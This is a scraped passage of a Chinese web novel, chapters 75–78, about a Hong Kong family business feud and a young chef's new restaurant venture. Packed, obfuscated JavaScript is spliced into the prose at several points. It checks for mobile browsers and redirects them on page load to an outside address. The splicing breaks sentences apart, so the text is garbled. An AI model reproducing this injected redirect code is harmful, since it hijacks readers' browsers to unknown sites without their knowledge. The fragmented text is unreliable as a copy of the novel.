0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915431|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们。回去看看慧书。” 崔家昌在两个白眼狼女儿的注视中出了门。 他上了车司机提醒他：“老爷今天是大少爷的生日。” “哦！” 今天一直在忙刚才他在开会的时候秘书提醒过他也跟他说过买了礼物送过去。不过这么多年他年年陪着儿子过生日从未缺席。 “那就去吧！” 车子从浅水湾到薄扶林道儿子和俞婉媚就住在这边的一间的独立屋里。 俞婉媚给他生了儿子他希望儿子能住得好一些给他们母子买了这么一栋三层的小楼。 车子进了门崔家昌下车见已经比他还高的儿子站在阳台下他心头一暖。 两个女儿一直怨他偏心她们自己可曾想过她们可曾给过他像慧书一样的爱？ 一整天的疲累面对两个女儿的无力感都在儿子的笑容中得到了抚慰。 “爸爸。累了吧？” “慧书啊！抱歉你生日爸爸回来还这么晚。”崔家昌在儿子的陪伴下进了屋子。 俞婉媚和佣人在厨房忙餐桌摆放着一个插着 蜡烛的蛋糕崔家昌心情更加顺了 “打电话去公司说你一直在开会。”俞婉媚端了蒸鱼出来。 “你们先吃好了。现在公司事情多说不准的。”崔家昌看着蛋糕“我们先吃蛋糕庆祝慧书生日。” 一家三口庆贺了孩子的生日俞婉媚给父子俩盛了面条一碗给崔家昌一碗给儿子：“慧书长大了哦！以后要学着帮爸爸分忧。” 上次在辉煌遇见了崔慧仪和岳宁崔家昌发了一通脾气打了俞婉媚一个耳光骂了一顿儿子没用。可儿子到底是他从小疼到大的而且是他所有的希望静下心来他只能跟儿子谈心让他要努力要有担当要有男子汉的气魄。 看着儿子乖巧地点头。 这点乖巧要是放在两个女儿身上就好了。 崔家昌实在想不明白有个敢跨海而来的妈也有他这个白手起家的爹甚至还有两个亲爹都不认的同父异母姐姐一个连亲妈都要打得同母异父姐姐。真没搞明白！一群狼里怎么就养出了这么一条连吠都不敢吠两声的狗呢？ 刚刚被儿子温情感动的崔家昌头又疼了起来。偏生俞婉媚还在说：“这二小姐也真是的她怎么能这样？一点父女之情也不顾？” “是啊！二姐她不是害崔记吗？”崔慧书说道。 崔家昌停下筷子看向儿子问：“她为什么不能害崔记？她为什么不能害我？” “您是我们的爸爸呀？我们怎么能害您呢？”崔慧书理所当然地说道。 俞婉媚给儿子夹菜：“她们根本不把你爸爸当爸爸她们根本不会为你爸爸分忧。” 崔家昌转头跟俞婉媚说：“现在崔记遇到困难你也看到了崔记的股价大跌库存压了很多资金周转不灵这些年我也给你添置了不少珠宝另外还有这间屋子都卖了让我周转一下？” 俞婉媚愣神了看着他…… 第75章 如果她从未出来 崔家昌听到这里，伸出筷子夹鱼，说：“我原本还想**，现在看下来，实在是难办了。” “可不是，大姑爷家是银行业的，你说能找大姑爷家借贷吗？”俞婉媚说道，“你昨天不是说大小姐深受翁姑喜爱，亲家老爷一定会看在大小姐的面子上帮忙吗？” 崔慧文嫁给本城银行家之子，这是老一代定下的婚约。当年，崔慧文怀孕后退出辉煌，崔家昌一直觉得自己是为女儿考虑，慧文既然做了大家媳妇，婚后在家相夫教子，为秦家开枝散叶才是她的重心。 直到今天他去找亲家公商量，亲家公说：“慧文已经核算过崔记目前的情况，她的建议是，在商言商的话，除非你拿立德的股份做抵押，我们才能放贷给你。但我得先跟你说清楚，抵押了立德，一旦崔记出了问题，你连立德都拿不回来。” 那一刻，他才恍然惊觉，小女儿攻击崔记，目标竟是他手里的立德股份。可小女儿这些年一直在经营立德，虽然立德市场价值上涨，但他仍是最大的股东，小女儿又哪来的资金撬动这一切？ 他决定找大女儿商量，打电话到女儿家里，佣人告知大少奶去港城会上班了。港城会是港城股市交易的四大行会，崔记的股票就在港城会上市交易。秦家下属有股票经纪行，想来大女儿是去自家的股票经纪行了。 无奈之下，他只能要了电话，打给慧文。 慧文说小朋友上幼儿园了，她在家闲着无事。这几年，她做了几笔投资，收益颇为可观。女婿和亲家都支持她出来做事，于是她便到股票经纪行工作。 他与慧文长谈一番，慧文说了许多埋怨他的话，最终答应去找慧仪聊聊，劝她适可而止。 谁能料到，当晚新闻里竟出现了所谓记者从立德偷出来的退货记录。哪里只有一笔，分明是好几笔。这无疑是给陷入危机的崔记火上浇油。 崔家昌根本不信。自从硼砂事件后，被崔慧仪打理得如同铁桶一般的立德，怎会轻易让记者混进去？他认定这是崔慧仪故意为之。他怒气冲冲地去找崔慧仪，却发现大女儿也在。两个女儿竟完全站在同一阵线，这下他还怎么从亲家那里借贷？就算亲家愿意放款，他又怎敢拿立德抵押？ 他机械地吃了一口饭，语气低沉：“姊妹俩一条心，她们想让我把立德转让给她们俩，从此崔记归崔记，立德归立德，这样慧仪就放过我。或者 还有个‘更好’的办法，那就是我把崔记的大部分股份也转让给姊妹俩，我卸任崔记董事局主席，直接让慧仪接手。只要她来经营崔记和立德，局势或许就能立马扭转。” “怎么可能！”俞婉媚几乎是尖叫起来，“崔记是您一手创立的，立德您也占着大股。她们俩吃里扒外，陷害您，您还要拱手让出股份？大小姐想得倒美，天底下哪有出嫁的女儿还回娘家分财产的道理？女儿惦记娘家的财产，是要被人戳脊梁骨的！再说了，她们有多大本事能扭转局面？” “崔慧仪不到六年就把立德做到如今的规模。只要她入主崔记，就能给市场吃下颗定心丸，崔记的股价自然能稳住。”崔家昌看着她冷笑一声。 他继续说：“更何况，她还有个好朋友，你的亲生女儿，如今炙手可热的岳宁。豉油鸡捞面上市后的火爆程度，只要不是瞎子都看得明白。崔记的产品没特色？她改改配方，打上宝华楼宁小厨的标记，销量立马就能起飞。鸿安百货和商超在港城和东南亚占据多少市场份额？乔太有多疼慧仪，你会不知道？我把崔记和立德都给女儿，你就不用卖这大屋和首饰了。但以后，慧书别想从我这儿得到什么。要么，为了慧书，你和我共患难，一起承担可能卖房子、卖首饰，最后崔记还救不回来的风险。” 崔家昌死死盯着俞婉媚：“你卖，还是不卖？” “你不能只让我一个人卖吧？你还有大宅，还有其他……” 她竟然先提卖崔家大宅？这话瞬间点燃了崔家昌的怒火。他猛地将手中的饭碗砸了出去，瓷器与红木桌相撞，清脆与沉闷的声响交织。紧接着，他站起身，一把扯过桌布，上面还剩大半的蛋糕、满桌菜肴，顿时散落一地，房间里一片狼藉。 他冲过去，一把揪住俞婉媚的头发，将她拖出座位。只见儿子害怕地蜷缩在墙角，连看都不敢看这边一眼。 崔家昌又怒又悲，自己日夜操劳、殚精竭虑，可照儿子这副怯懦模样，将来把崔记交到他手上，迟早得败光！ 他面目狰狞地瞪着俞婉媚，俞婉媚慌忙抱住头。崔家昌的巴掌和拳头如雨点般劈头盖脸落下。 “我的财产将来全是你儿子的，风险却要别人承担？我娶了你这么个女人，霉运就没断过！你就是个灾星，哪个男人沾上你哪个倒霉！岳宝华的儿子要是没娶你，就凭他们父女俩的手艺，现在出来接岳 宝华的班会是这副惨样？是你害得他死在西北！你自己呢？要是当初守着岳宝华的儿子现在再出来就凭你女儿的本事就算当不成富豪太太也能做个富豪的亲娘！” 俞婉媚趴在地上哭喊：“别打了 “就怎么样？眼里只有钱除了钱你还在乎什么？”崔家昌终于将这几日积压的压力一股脑儿发泄在了俞婉媚身上。 他跌坐在地上目光呆滞地望着角落里的儿子。恍惚间他仿佛在儿子脸上看到了意气风发的岳宁又看到了嚣张跋扈的崔慧仪。拥有那样出众眉眼的人此刻却蜷缩在地上显得如此滑稽又可悲！ 崔家昌缓缓从地上爬起来满心迷茫。他真的不知道接下来该怎么办自己拼尽全力保住崔记到底还有什么意义？ 他拖着沉重的步伐走出去司机正在车棚边上的工人房休息见状立马迎了上来。 “回大宅。” 崔家昌走后崔慧书这才回过神。他颤抖着站起身走过去扶起仍趴在地上哭泣的母亲。 以前妈妈也挨过爸爸的打但好像从未哭得如此绝望。 “妈妈你怎么样？” 俞婉媚泪眼朦胧地看着儿子。这些日子只要打开电视总能看到女儿的身影。在那张神采飞扬的脸上她仿佛看到了记忆中那张熟悉的面容。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915432|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾说：“你在食品商店我在福运楼已经很好了。虽然也吃不太饱但真不会饿到什么程度。你知道现在国家粮食多紧张吗？” “晓梅宁宁对我笑了。宁宁叫‘妈妈’。” “我们宁宁会叫‘妈妈’了！” 俞婉媚想起那个胖嘟嘟的小娃娃用含糊不清的声音喊着“妈妈”那声音仿佛还在耳边回响。 “晓梅我今天做的咕噜肉被领导表扬了。” “晓梅你尝尝……” 曾经作为食品商店的“一枝花”上级领导安排她嫁给了号称福运楼最优秀的男青年。可那不过是个痴迷厨艺、本分至极、毫无野心的厨子。 要是留在内地她能预见他们的一生：她会变成食品商店的老阿姨他会成为福运楼的老厨子退休后靠着微薄的退休金度日。 她渴望改变想要去外面的世界闯荡。他却像看陌生人一样看着她：“晓梅你疯了？” 她说已经打听好可以坐船去港 城只要到了港城市中心就能在那里扎根。他们最大的优势是他父亲在港城相比其他人更容易在港城立足。而且当时谁也不知道国家的大门会关闭到何时他母亲早已离世如果父亲再娶以后父亲在港城挣下的财产就与他们无关了。 “就算你想去宁宁怎么办？”他抱着孩子第一次发了脾气“现在大家都吃不饱谁有余粮喂她？我们走了宁宁可能就活不成了。难道我爸那点财产比宁宁的命还重要？要去你去我绝不离开！” 那时她已交了钱和蛇头定好了出发日期。为了能走她趁着岳志荣上班偷偷把孩子送走。 岳志荣回来后像疯了一般掐住她的脖子逼问孩子的下落。 后来他找回了孩子冷冷地说：“离婚吧。离了婚你想去哪儿都行。” 他们最终没离婚因为已经来不及了。她交了两人的钱最后却只孤身一人踏上那条艰险的路。大雨倾盆中她无数次懊悔但一切早已无法回头。 她终于见到了岳志荣的父亲岳宝华。那时大批逃来的人涌进市区在街边乞讨。宝华楼为了不影响食客 看着那张与岳志荣相似的脸得知岳宝华一直单身她忍不住埋怨岳志荣不肯一同前来。 每到深夜她总会想起他们父女盼着国门早日打开一家人能够团圆。 然而希望渺茫她不得不向前看开始在宝华楼的食客中寻找依靠。直到有一天岳宝华将她赶了出去从此她与岳家再无瓜葛。 这些年看着内地零星的报道看着一批又一批来到港城的大陆客即便崔家昌偶尔发疯她始终觉得自己当初的选择没错。 直到国门打开崔慧仪回到国内邀请崔家昌去考察合资项目。她跟着去一方面是了解情况另一方面也是想找机会打听他们父女的消息。如果能见到他们她想尽自己所能提供帮助也算弥补心中的愧疚。 可她等到的却是岳志荣离世的噩耗以及一个优秀得令她陌生的女儿。 就在刚才崔家昌的话如同一把利刃剖开了她心底最深的疑问：如果当初没有离开现在的人生又会是什么模样？ 第76章 参加会议 户外的台子是连夜搭的，广告纸让厂商加急印刷，刚刚送过来。 现场的一位五十来岁的大叔，搬了梯子过来，要去贴广告纸，岳宁见他腰好像有些不好，从他手里接过广告纸，爬上梯子贴广告纸。 “岳宁，你知不知道，自己是个什么身价？”下面的人问。 “我是个什么身价？”岳宁贴着贴纸问，“没歪吧？” “没有！刚刚好。” “人家明星出场，按照小时算。你比当红明星身价不低。昨天一天，今天一大早又来了，跟着一起看这个看那个，现在又爬上爬下。” 岳宁从梯子上爬了下来：“合适的人做合适的事，我在西北的时候，要翻自己房顶和羊圈房顶的茅草，爬上爬下惯了。” 大叔过来道谢，岳宁说了句：“不客气。” 她又跟那个打趣的人说：“你这人坏，跟我这么说了，让我感觉错过了一百万。” “应该是我白捡了一百万。”邱春明往她这边来，“有你在电视里认证说我的鹅肝好，我的生意估计会好到爆。” “那你一定要把控好质素，千万不要这一批都是好货，下一批品质都就不行了，坏了我的口碑。”岳宁跟他说，“我能给你带来第一波的客流，却不能支撑你长久的生意，长久的生意还是要靠口碑。” “知道，我一定珍惜这次机会。”邱春明笑得合不拢嘴，“昨天我爸都说我不知道是撞了什么大运，我给你提供一年免费的鹅肝。” 岳宁知道他们认为宝华楼是一家粤菜馆，就算是用鹅肝也用不了多少，她笑着说：“这话都能随便说？我要是鹅肝低价促销呢？” “就你这人的心胸，怎么可能？”邱春明说道。 “在商言商，你给我一个特殊价格，至少我能在你这里拿到别人家拿不到的价格，就可以了！更重要的是长期保证品质。” 邱春明点头：“这不是一句话吗？我成本价给你。” “说好了！”只要对方不亏本，岳宁还是想占点便宜的。 岳宁见崔慧仪走过来，她跑过去：“慧仪姐姐。” 崔慧仪拧着她的脸：“小没良心，连着来两天，一点时间都不给立德？” 岳宁连忙求饶：“姐姐，我这里九点到十一点，这里完事儿，我去你那里，炒几包炒面，好不好？” “算你有点良心。” 岳宁勾住崔慧仪的胳膊，轻声问：“事情闹 得很大？ 崔慧仪把她拉到角落里，跟她大致说了情况。崔慧仪说：“他肯放弃立德，那我们也省事。他不肯，那就看各自的本事了。 “厉害。这两姐妹捏住她们爹的七寸来打，都是狠人。 崔慧仪要去立德的展台了，岳宁也回了馆外展台。 两家同台，这边是宝华楼的老卤卤制的粉肝，那边邱春明也请了一位西餐大厨来。 观众们两边排队品尝不同的鹅肝，岳宁能说会道妙语连珠，这个抓住机会站上凳子蹭岳宁流量的邱春明也不遑多让。两家互相商业吹捧，互相带货。进出口公司和邱记商行带来的名片都不够发。 岳宁的到来，还吸引了一大堆的普通观众，尤其是那些师奶们，除了看看她们的小可爱，来都来了，还不逛逛食品展？ 一时间食品展人都攒动，岳宁这边结束，跑去给立德站台，虽然这里没有明火，炒出来的面没有浓郁的镬气，好在滴珠油的焦糖香，弥补了一二，也多了些家常。 港城影视剧里，一句经典台词：“你饿不饿？我煮碗面给你吃啊！ “崔小姐！一个穿着西装的中年男子过来。 崔慧仪走过去接待这位：“汪老板也来展会？ “是啊！看见你也在，过来跟你打个招呼。这位汪老板看见岳宁，“岳小姐也在，不知道崔小姐能不能引荐一下。 “当然。崔慧仪很高兴地答应下来。 她招呼了岳宁过去，跟岳宁介绍：“这是新益行的汪老板。 “我们做豉油鸡，就是用的新益豉油。岳宁伸手跟汪老板握手。 这句话对汪老板来说简直是惊喜，他笑：“难怪了，前两天去宝华楼吃饭，不仅是豉油鸡还有炒河粉也吃出了我们家产品的味道。 “为了保持和宝华楼味道同步，我们这款豉油鸡捞面，用的也是新益豉油。崔慧仪补充。 汪老板和崔慧仪说：“立德生意红火，我们也希望跟立德有更多的生意往来。 “肯定的，我也很感激汪老板的帮助，解决我的燃眉之急。 “应该的，急客户所急，那不是我们厂商应该做的吗？汪老板看向岳宁，“等崔小姐和岳小姐空下来，来我们厂里转转？看一看我们厂的工艺和管理？ 崔家昌今天也在展会，看着女儿跟老对手谈笑风 生，甚至介绍岳宁给对方认识，他捏紧的拳头，可以把掌心掐出血来。 不管立德是真要切换调料供应商，还是说只是装装样子。这对市场来说，就是立德对崔记没有信心，这对崔记来说是雪上加霜，再者如果岳宁跟新益合作，后果可想而知，崔记只怕是越发艰难。 女儿步步紧逼，他手里能打的牌却很少。更何况，他现在再努力，守住了崔记，传到崔慧书手里，儿子也守不住这摊家业。 崔家昌不想去跟女儿当面争执，那不过是给电视、报纸多一些豪门父女争斗的新闻而已。他默默地转身，展馆里人头攒动，他却感到异常地孤独，他这个年纪了，累了。 崔慧仪看到了她爸的背影，昨天晚上姐姐住她家，她们姐妹俩像小时候一样睡一张床上，说起了小时候，姐姐不免讲起儿时，那时候的爸爸有多疼她们俩。 自己手枕着头说：“那只是做给外公看的表象而已，外公走了之后。他外面女人不断。我亲眼撞见过他和别的女人上床。真的很恶心，太恶心了。 她们可怜她爸，谁来可怜她妈。更何况她爸在利益和女儿之间选择的时候，铁定放弃女儿，他的心里哪有她们的地方？ 崔慧仪笑了笑，不去想这 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孩 子说怎么做，他就照做，岳宝华给副会长回了电话，一定准时出席。 岳宁跟崔慧仪道别，在去邱老板和进出口公司那里打了个招呼，叫了的士回了宝华楼，扒拉了两口饭。她上楼去洗了个澡，换了丝质衬衫和真丝长裤，外搭一件宝相花纹的中式外套，短发用发胶固定，嘴上用了正红色的口红，手里提了一个皮包，脚上踩了一双粗跟的高跟鞋。细高跟好看是好看，岳宁实在穿不惯。 她下楼来，花姐夸张地发出一声惊叹，看着她。 平时岳宁随意惯了，这两天去展会，她也是T恤加上牛仔裤，就是她这个年纪的打扮，加上活泼的性子，哪怕她做事有章法，已经是宝华楼说一个不二的人，在大家心目中的外形，她还是个小朋友，小朋友突然穿上高跟细，化了妆，可真把人给惊到了。 岳宁过去抱住胖胖的花姐，撅起大红唇：“花婶婶，亲一口。 花姐笑得身上的肉乱颤：“好了，好了，你爷爷在等你了。 岳宁放开她：“真不亲？ 花姐侧脸给她，岳宁的红唇在她脸上印了一个唇印。 岳宝华看得直摇头，岳宁跑到爷爷身边：“爷爷，要不要亲一口？ 孙女穿得一本正经，还跟他胡闹，岳宝华敲了一下她的脑袋：“行了，行了，上车去。 岳宝华开车，岳宁补了口红。 到了酒店，酒店门口除了行业会议的指引牌，还有中英日三语的欢迎牌。 中村美伊今晚到港，明天晚上开演唱会。 祖孙俩根据酒店指示牌上二楼会议室，会议规模还不小，人已经到了不少。 祖孙俩先去签到，他们笔刚刚落下，行业协会的会长和本次场地提供方郭老板，一起走过来。 岳宁露出夸张的笑容，走了过去，对着郭老板说：“听说郭老板要请我吃鹅肝，我就迫不及待地来了。 第77章 公布宁宴 大家本就无所谓岳宝华来不来，都想要见见一来港城就红透半边天的岳宁。想要亲眼见见这个十八岁的小姑娘，小小年纪就已经把港城餐饮这潭水搅得波澜翻滚。 刚才他们还在讨论，小姑娘昨天这一招真是大气，不仅化解了那段新闻，击碎了谣言，而且还营造了两家得利的局面，让公众对她的印象更好了。 岳宝华的宝华楼，就是在港城九龙旺角的宝华楼，但是岳宁的宝华楼一定不会局限于旺角。她未来的动向，肯定可以牵动港城餐饮行业的神经。 看见祖孙俩在门口签到，大家目光全集中到那里，谁想这个小姑娘一来就找上了郭老板。 也是！昨天晚上两个访谈，一个访谈里郭老板说岳宁没吃过鹅肝，可以来御龙轩领略鹅肝的美妙。 另外一个访谈里，岳宁在展会上做了鹅肝，不知道口味如何？就那个架势，还挺像个法餐大厨。 大家还以为以岳宁的大气，可能这件事就过了，不提了。她这一来就生怕有人不知道啊？ 郭老板自然也看见了岳宁的访谈，也看到了她在展会上煎鹅肝的片段，听见了她对鹅肝的描述。 都说这个小姑娘做事留余地，为**气，怎么就到了他们这里？一定要斤斤计较呢？非要提这件事，让他难堪吗？ “岳小姐想吃我们御龙轩的鹅肝，我们肯定欢迎。” 岳宁今天的打扮，要是放在中环写字楼里，可能就是日常穿着。但是到她身上却是异常隆重的打扮，她嘴唇微微勾起，嘴角有笑意，眼神却平静无波：“昨天的事，郭老板就忘记了？那我来帮郭老板回忆一下。” 岳宁学着他昨天在电视台里的口气：“我在这里想跟小姑娘说一声：‘孩子，你还年轻，气盛可以，但是无知还气盛，就显得特别愚蠢。如果没有吃过法国鹅肝的话，可以来御龙轩，领略一下法国鹅肝的美妙。’” 郭老板虽然没有鸿安集团这样的规模，但是在港城他的君豪大酒店也是数一数二的奢华酒店。在同行面前，被一个年纪可以当他孙女的小姑娘，这样挑衅？ 这种场合，他告诉自己要维持风度，要有雅量，不要跟一个小辈计较，他压制着自己已经快爆发的怒气：“小姑娘，做人要懂进退。” “我只是在复述你说过的话，难道郭老板在公众面前说的话都不认？在没有了解别人是否有实力的时候，就妄言要收徒 。看了一段胡编乱造的新闻之后，就说别人愚蠢，就断定别人没吃过法国鹅肝。到底是谁无知？是谁气盛？谁愚蠢？岳宁步步紧逼，她释放的善意已经够多了。他们好像一直听不懂，甚至还恨上她了。 再说，辉煌离开这里也就一两公里，就凭着郭老板和陆进勇的性格，自己和他们之间的关系，不可能是友善的竞争，一定是你死我活的争斗。既然得罪狠了，那就狠狠得罪了。 郭老板看着她，笑容带着扭曲：“我跟你说过，你还是一个小崽子，等你先有了实力，再嚣张也不迟。 岳宁想起那天在电视台碰面的谈话，她笑：“你怎么只记得你说过的话？我说什么，你忘了？ “岳小姐，大家都想见见你，要不我们先进去？协会的副会长也算是岳宝华的老朋友，过来劝岳宁。 岳宁总要给副会长面子：“好啊！我也想见见前辈们。 副会长听岳宁说这话，微微呼出了一口气，他还是希望多一事不如少一事，祖孙俩跟着副会长一起往前，岳宝华基本上没参加过这种活动，他只认识几个老板，大多数人都不认得，也无从给孙女介绍。 好在这些老板，不需要他介绍，一个个忙着自己介绍。这还不算，岳宝华发现孙女比他这个在港城生活了三十几年的人，对行业熟悉多了。 “马老板，你们家的菠萝油好好吃，我一下子吃了两个。慧仪姐姐说我再吃下去，要成小猪了。 “岳小姐去过我们门店？ “去过，为了那款豉油鸡捞面。我的第一个版本酱料出来后，我想了解一下港城茶餐厅捞面的需求，去你们家吃了。 马老板很高兴地问：“还吃了其他吗？ “吃了头抽干炒牛河、银芽肉丝煎面，味道都很不错。 “想听听你这个大厨的意见。马老板问她。 “大厨这个称呼可不敢当。我知道，茶餐厅为了出餐快，所以在调味上也要快，不可能跟我们一样用比较复杂的炒法。调味单薄了一些，牛河略微偏软，其他没什么毛病，做到这样已经很好了，没办法十全十美的吗？那个菠萝包烫烫的，超级香，超级软，黄油融化滋润了面包。真的好吃！ 马老板被她夸得心里特别舒服。 “对了，昨天你在电视里说和牛、鹅肝鲍汁拌饭，是真的还是假的？ 有人问。 “真的，我真的在试。岳宁回答。 “你试这个菜做什么？ 鸿安大酒店的总经理进来，岳宁跟大家道歉：“不好意思，我去见一下长辈。 岳宁走过去叫：“陆伯伯，您来了。 “宁宁，你好早啊！ “第一次来，来认识认识行业前辈。岳宁陪着这位总经理一起进来。 岳宁跟陆总经理悄悄说了两句，陆总经理点了点头。 陆总经理是踩着点进来的，很快就会议开始，宝华楼在港城算不得什么大酒楼，祖孙俩的位子靠后。 会长先上去发言，发言词倒是比岳宁上辈子参加的那些会议要务实很多。这次讲的主题是如何做好食品安全卫生，让客人能感到安全安心。 他讲完，会场提供方郭老板拿着稿纸上去发言，他也从食品安全方向开始说起，说起了御龙轩如何把好食材质素管理，他一直强调，他们食材的产地，都是世界顶级产地。 运输过程中的药物残留，干制产品制作过程是否使用违禁物， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915434|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有溯源问题都没有提及，这不过是念念稿纸而已。 几个主要人员发言了，这时会长在台上说：“大家都知道，鸿安在港城深耕六十多年了，是港城的老牌大酒店，这次鸿安收购辉煌让我们整个行业都倍感意外，我代表同行在这里向鸿安的陆先生打听一下，鸿安此举是何意？ 陆总经理站起来扣了西装扣，上了台：“鸿安大酒店的创始人叶进生老先生有个遗愿。他希望鸿安能回到内地，回到上海北京武汉粤城。这个愿望，叶应章先生始终不敢忘。 收购辉煌跟鸿安重归内地有什么关系？大家不了解。 “从谈判到建酒店会有一个很长的过程，我们初步估计，鸿安在粤城的酒店计划在1984年年头开业，同时上海的酒店也在谈判中。客房、西餐厅等管理，可以照搬港城鸿安酒店的制度，甚至也可以委派港城酒店的人员过去。然而，中国很大，中餐厅管理这块，我们没有信心做好。我们打算中餐厅进行委托管理。交给擅长且了解内地情况的餐饮管理公司。 这可是一个超级大的项目，谁家能得到这个机会也就是意味着，鸿安酒店开到哪儿，他们就跟到哪儿？ 既然是放在港城，那么肯定是选港城的餐饮管理公司，听到这里下面坐着的人开始交头接耳，有人直接问：“按照陆 先生的意思，辉煌就是合作伙伴选择测试用的喽？ “怎么会？陆总经理摇头，“合作伙伴早就选定了，叶先生对合作伙伴非常满意。 这件事怎么之前完全没有风声？到底是哪一家呢？能被鸿安选中的肯定是有点实力的人家，大家都在前排互相看，又互相摇头。 陆总经理把目光落在岳宁身上，大家顺着他的目光看过去，他说：“那我也不卖关子了。有请，港城宝华楼餐饮管理公司的岳宁小姐上台。 宝华楼？最近宝华楼是名声鹊起，岳宁也是跟叶家有关系。但是这个小姑娘才几岁，而且宝华楼现在生意不是刚刚恢复到以前的接待量吗？ 再接一个比宝华楼大，比宝华楼档次不知道高多少的酒楼，先别说其他的，就想问一句：人在哪儿？ 岳宁上台去，拿起话筒：“这个消息本来打算过两天，两家公司签约的时候公布，不过同行都很热心，那就先向同行透露了。近期我们成立了港城宝华楼餐饮管理公司。我们将接受鸿安酒店的委托，经营这家新收购的酒楼。辉煌将改名为‘宁宴’，宁宴将跟随鸿安的脚步进入内地餐饮市场。港城的宁宴，定位是高端新派粤菜。刚才不是有人问我，试验和牛、鹅肝温泉蛋拌饭干什么？这道菜就是为了宁宴准备的。 岳宁把目光投向第一排的郭老板：“郭老板，以后我们要做邻居了！ “你在开玩笑？宝华楼的厨子够了吗？再开一个宁宴？郭老板问出了大家的问题。 岳宁看着他，微微一笑：“郭老板，御龙轩后厨的人都是你们自己培训的吗？ 第78章 蔡致远的朋友 岳宁的无辜大眼对上郭老板的绿豆眼，郭老板今天是忍无可忍重新再忍：“你以为，你能把辉煌带起来？你以为那些厨子都是傻子？” 鸿安的陆先生侧头看郭老板，像是看个傻子，他问：“这么说来，郭老板以为叶应章先生是傻子？你以为仅仅凭着岳小姐是叶先生妹妹的半个养女，就足以让叶先生收购辉煌，甚至愿意与她分享鸿安内地发展计划吗？” 这话问出了核心，那可是南洋叶家家主做的决定。 陆总经理说：“就算是要培养小辈，你见过哪家会拿出这样的计划来培养小辈？这就是商业投资。” 郭老板这些年嚣张惯了，平时特别爱点评这家，点评那家。他们家又会营销，除了政府方面接待来访高官入住的都是国际品牌酒店，那些富豪明星都喜欢住君豪，从上到下的奢华，御龙轩的主厨陆进勇比郭老板还热衷营销，更是把御龙轩捧得好像整个港城第一似得。可去年港澳酒店比赛，不还是输给了宝华楼出去的李欣荣。 其他老板也烦郭老板，听到这些话都在暗笑着说悄悄话。 岳宁笑看着郭老板：“郭老板，你没必要这么激动。宝华楼从来就没把胜华楼当过对手。现在我也不会拿宁宴来对标御龙轩。宁宴就是宁宴，这是一个致力于新派粤菜的品牌，是一个会着眼于整个中国市场的餐饮品牌。当然，目前来看，宁宴的第一家门店势必会对御龙轩形成冲击，那也是没有办法的事，所以上次我就希望你能做好心理准备。” 郭老板不再说话，他听了两句后续的发言，就借口中村美伊马上到了，他要去安排，提早退场了。 岳宁不理解，就算是**巨星，作为酒店，顶多就是安保做得好一些，其他要什么特殊码？要他一个老板这么着急上火地跑了？ 岳宁没有时间去理解郭老板，她被大家包围了，会后的招待宴上，岳宝华帮孙女解围：“诸位，诸位，宁宁还小，你们喝酒，她喝水，就别灌她了。” 岳宁喝水吃菜，就算她指出了御龙轩的问题，御龙轩的成功经验已经深入骨髓，很难调头，做的菜，依旧是形式大于口味。 饭后，祖孙俩跟大家道别，马老板约岳宁下次一起去他们茶餐厅仔细逛逛，给点意见，岳宁欣然答应。 其他人纷纷说希望年底的会议在宁宴聚，岳宁笑着说：“我听协会安排。” 也算是答应了。 两人回到宝华楼晚市差不多结束了阿松和阿珍带着团队餐后巡台大家已经开始按照她的要求去做事了。 岳宁等他们巡台结束招手让他们过来和岳宝华站在一起她说：“我要跟大家分享一个好消息也解答这些日子我为什么一直对大家要求很严格甚至严格到有些让人难以理解的困惑。” 大家虽然按照岳宁说得去做但是对她的严格要求难免私下会说几句。 岳宁笑着说：“鸿安收购了辉煌之后将委托宝华楼管理辉煌将改名宁宴主打高端新派粤菜。” “啊？”阿松第一个惊讶。 “阿松叔你这是什么表情？我私底下可不止一次跟你们说我们不会局限于宝华楼。”岳宁看着他们“另外呢！我们跟鸿安大酒店签订了协议鸿安大酒店在内地的中餐厅都将由我们管理经营。” 阿松皱眉最近他们钱是拿得真多人员不足人很累。他说：“宁宁我们是不是速度太快了？宝华楼的人其实才恢复了八成里面还有很多新手今天你和师傅都不在我们后厨忙疯了。” 岳宁笑：“我来港城之前就开始考虑这个问题了。我在粤城的时候联系上了他们二商局当时考虑宝华楼人不够所以只开展了我们跟福运楼的合作。福运楼的厨子后天就要来了。第一批厨师都是福运楼的好手有我爸爸带过何运邦他被称为‘牛河邦’也有刀工切工很厉害跟我一起做过脆皮糯米鸡的马星耀也有一个是我爷爷师兄的孙子罗国强。你们在后厨可以互相学习。我还打算再去一趟粤城扩大跟二商局的合作不止于厨师的合作还有餐饮管理和服务人员的合作。” 大家的脸色有些犹豫岳宁笑：“大家没必要有什么芥蒂。我们签的合约里约定了他们两年之后必须回内地原单位就算是他们一定要留在港城宝华楼极其下属企业都不会录用他们。他们跟你们之间没有竞争关系。我给你们画饼认为你们都是宝华楼的核心宝华楼和宁宴未来的发展就靠你们了。我给他们画的饼就是内地会有福运楼和宁宴他们的位子在那里。是的！我这两天在考虑 岳宁给大家鞠躬直起 